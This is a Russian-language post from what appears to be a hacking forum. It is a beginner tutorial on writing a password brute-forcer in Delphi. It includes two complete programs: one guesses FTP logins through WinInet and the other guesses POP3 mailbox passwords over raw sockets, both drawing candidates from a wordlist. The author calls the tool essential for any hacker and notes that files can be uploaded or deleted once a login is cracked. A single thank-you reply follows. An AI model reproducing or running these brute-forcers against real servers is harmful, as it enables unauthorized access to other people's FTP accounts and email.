03.08.2024

Брутофорсер на Delphi для новичков.

Vortex777

Интересующийся
Регистрация
27.06.2022
Сообщения
98
Реакции
0
Гарант продажи
0
Гарант покупки
0
Депозит
0 р
Брутофорсер – важный инструмент любого хакера. Конечно, есть много готовых решений, типа виндового Brutos’а и nixовой Гидры. Но куда приятней пользоваться собственноручно написанной программой, которая отвечает всем твоим требованиям.
Эта статья рассчитана на новичков, желающих разобраться в сетевом программировании.
Итак, наш Брутофорсер будет подбирать пасы по протоколам FTP и POP3. Причем при работе с FTP мы будем пользоваться функциями Internet Api, а пароли к мылу будем подбирать с помощью сокетов.
FTP
В принципе можно разобрать протокол FTP, прочитав RFC 959, и реализовать брутофорсер, используя сокеты. Но зачем идти длинным путем, когда в Винду встроены функции для удобной работы не только с FTP, а еще и с HTTP, Gopher. Все это реализовано в библиотеке WinInet.dll.
Начинать работу с библиотекой стоит с использования функций InternetOpen. Функция принимает 5 параметров: lpszAgent, dwAccessType, IpszProxy, IpszProxyBypass, dwFlags – и вернет значение типа HINTERNET, который нам понадобится в дальнейшем. Первый параметр – IpzAgent. Строка, передаваемая серверу, содержащие имя программы пославшей ее. Например, Ослик передает строчку «Microsoft Internet Explorer». Следующий параметр (dwAccessType) задает свойства доступа. Может принимать такие значения INTERNET_OPEN_TYPE_DIRECT (все имена хостов обрабатываются на нашем компьютере), INTERNET_OPEN_TYPE_PROXY (использует прокси-сервера), INTERNET_OPEN_TYPE_PRECONFIG (устанавливает все значения из реестра(HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings)). IpzProxy – адрес прокси-сервера, учитывается только в случае INTERNET_OPEN_TYPE_PROXY, в остальных случаях смело можно писать nil. IpszProxyBypass –список имен и айпишников, связь с которыми нужно устанавливать в обход проксей. И наконец последней параметр – dwFlags. Он задает параметры, влияющие на Internet-функции. Пример использования:
hInet:=InternetOpen(nil,INTERNET_OPEN_TYPE_PRECONFIG,nil,nil,0);
После вызова InternetOpen нужно соединиться с FTP-сервером и залогиниться на нем. Делается это при помощи функции InternetConnect.
Параметры функции:
HInet – Указатель на соеденение, полученный с помощью InternetOpen.
IpszServerName – имя или IP-адрес сервера, с которым нужно связаться.
nServerPort – номер порта, с которым нужно соедениться (Стандартный порт для FTP-сервера – 21).
IpszUserName – Имя пользователя, под которым нужно войти на сервер.
IpszPassword – пароль пользователя.
dwService – задает сервис. Может принимать значения INTERNET_SERVICE_FTP, INTERNET_SERVICE_GOHER, INTERNET_SERVICE_HTTP.
Пример использования:
hconnect:=InternetConnect(hInet,’localhost’,21,’admin’,’admin’,INTERNET_SERVICE_FTP,0,0);
Теперь, если InternetConnect вернул nil, то связка логина и паса некорректная (хотя может быть так, что админ запалил перебор, и внес наш IP-адрес в black-лист). Если такого не произошло, то мы получаем указатель на установленное соединение. Далее мы можем просто вывести на экран сообщение о успешном подборе, а можем закачать, скачать, удалить файл. Делается при помощи функций FtpPutFile, FtpGetFile, FtpDeleteFile. На этой радостной ноте я хочу закончить с рассказом о FTP-брутофорсере и InternetApi и плавно перейти к подбору пасов для мыла.
Код:
{ML2 FTP BRUTER v 0.01a
written by TanKisT
}
program brut;
  {$APPTYPE CONSOLE}

uses
   WinInet;

var ftpname,file1,pass:string;
port:Word;
F1:textfile;
hInet: pointer;
hConnect: pointer;
ftp:Pchar;
login:array [0..255] of Char;
begin
//Получаем цель и словарик для брута
Write('Name or IpAdress of FTP server: ');
Readln(ftpname);
Write('port: ');
Readln(port);
Write('Login: ');
Readln(login);
Write('File for brut: ');
Readln(file1);
Assign(F1,file1);
{$I-}
reset(f1);
{$I+}
//Проверка на существование файла
  If  (IOResult<>0) or  (file1='') then
   begin Writeln('can''t open file'); Readln; halt end;
//Начало работы с InternetApi
hInet:=InternetOpen(nil,INTERNET_OPEN_TYPE_PRECONFIG,nil,nil,0);
  If hInet=nil then begin writeln('can''t connect to Internet'); Readln; halt; end;
ftp:=PChar(ftpname);
  // Начинаем брут
  While not eof(F1) do
    begin
    Readln(f1,pass);
    Writeln('Try ',login,' ',pass);
    // Пытаеся соединиться с ФТП серверов.
    hconnect:=
    InternetConnect(hInet,ftp,port,login,PChar(pass),INTERNET_SERVICE_FTP,0,0);
    //Проверяем валидность логина и пароля
      If hconnect <> nil then writeln('True') else writeln('False');
    InternetCloseHandle(hconnect);
    end;
InternetCloseHandle(hInet);
Readln;
end.
POP3
Увы, Microsoft не упростила нам жизнь, и работу по протоколу POP3 нам прийдется реализовать на сокетах. Мы будем использовать библиотеку WinSock. Для начала разберемся, что такое сокет. Это виртуальный сетевой канал, который можно использовать для соеденения с любым портом сервера. Теперь разбуремся с работой сокетов.
Сначала нам нужно инициализировать библиотеку WinSock. Для этого нужно воспользоваться функцией WSAStartup, которая принимает два параметра: Первый – наивысшая версия WinSock, которую можно использовать. Второй структура типа TWSAData, в которой будет сохранена информация о WinSock.
Далее нужно инициализировать сокет при помощи функции socket. Параметры:
Af – Тип использоваемой адресации.
Struckt – Базовый протокол. Для TCP нужно писать Sock_stream, для UPD – SOCK_DGRAM.
Protocol – протокол по которому будем общаться с сервером.
Пример использования:
FSocket:=socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
Для соединения нужно подготовить структуру типа TSockAddr. Основные поля, которые нужно заполнить – sin_family, sin_addr, sin_port.
Sin_family – семейство используемой адресации, sin_addr – IP-адрес сервера.
Sin_port – порт подключаемого сервера. Пример использования:
addr.sin_family:= AF_INET;
addr.sin_addr:= 127.0.0.1;
addr.sin_port:= htons(101);
Теперь соединяемся с сокетом. Функция connect, у которой есть три параметра:
Переменная сокет, структура типа TSockAddr, размер структуры, который можно получить при помощи функции SizeOf. Пример использования:
connect(Fsocket,SockAddrIn,Sizeof(SockAddrIn));
Отправить серверу строку можно при помощи функции send. Принимающей четыре параметра: Переменная сокет, Строка, размер строки, флаги. Пример использования.
send(FSocket,str,lstrlen(str),0);
Ответ сервера принимаем при помощи функции recv. Параметры: переменная сокет, буфер для ответа, размер буфера, флаги.
recv(FSocket,Buf,255,0);
Полностью протокол POP3 нам разбирать не стоит. Нам нужны только две команды – user и pass. При успешной авторизации сервер нам выдаст ответ “+OK”, при ошибке – “-ERR”. Так проверяя ответы сервера, можно узнать успешно ли мы залогинились.
If Buf[1]=’+’ then Writeln(‘true’) else Writeln(‘false’);
Вот полный код брутофорсера:
Код:
{ML2 POP3 BRUTER v 0.01a
written by TanKisT
}

program mbrut;
{$APPTYPE CONSOLE}

uses
  windows,
  Winsock;  //Подключаем модуль WinSock


var wsadata:TWSAData;
SockAddrIn: TSockAddrIn;
host,filename,pass:string;
port:word;
FSocket: TSocket;
Str,user: array [0..255] of Char;
Buf:array [0..255] of Char;
F1:TextFile;

begin
//  Получем цель для брута
Write('IP-adress of host: ');
Readln(host);
Write('port: ');
Readln(port);
Write('login for brut: ');
Readln(user);
  port:=110;
  filename:='a.txt';
  assign(f1,Filename);
  reset(f1);
  WSAStartUp(257, wsadata); //Инициализация WinSock
  SockAddrIn.sin_family:=AF_INET;
  SockAddrIn.sin_port:=htons(port);
  SockAddrIn.sin_addr.s_addr := inet_addr(PChar(host));
    while not Eof(f1) do
  begin
   Readln(F1,pass);
  FSocket:=socket(PF_INET, SOCK_STREAM, IPPROTO_TCP); //Подготовка сокета
  connect(Fsocket,SockAddrIn,Sizeof(SockAddrIn));    //Соеденение
  recv(FSocket,Buf,255,0); //Получаем ответ сервера
  If Buf[0]<>'+' then begin writeln('can''t connect'); readln; halt end;
  lstrcpy(Str,PChar('user '+user+#13#10#0)); //Подготавливаем запрос
  send(FSocket,str,lstrlen(str),0);   //Отправляем запрос с логином
  recv(FSocket,Buf,255,0);
  If Buf[0]<>'+' then begin writeln('can''t connect');  readln; halt end;
  lstrcpy(Str,PChar('pass '+Pchar(pass)+#13#10#0));
  send(FSocket,str,lstrlen(str),0); //Отправляем запрос с паролем
  recv(FSocket,Buf,255,0);  // Получаем ответ сервера и парсим его
  If Buf[0]='+' then Writeln(pass+' ..true') else Writeln(pass+' ..false');

  end;

   WSACleanUp();//Заканчиваем работать с WinSock
   Readln;
end.
Данная статья была рассчитана на новичков и призвана познакомить с сетевым программированием. Возможно, в следующих статьях я расскажу о многопоточности, асинхронизированных сокетах и других интересных вещах.
 

Performance

Проверенный продавец
Проверенный продавец
Бар "Собрание"
Регистрация
05.12.2021
Сообщения
63
Реакции
2
Гарант продажи
0
Гарант покупки
0
Депозит
0 р
Спасибо за статью)
 
Сверху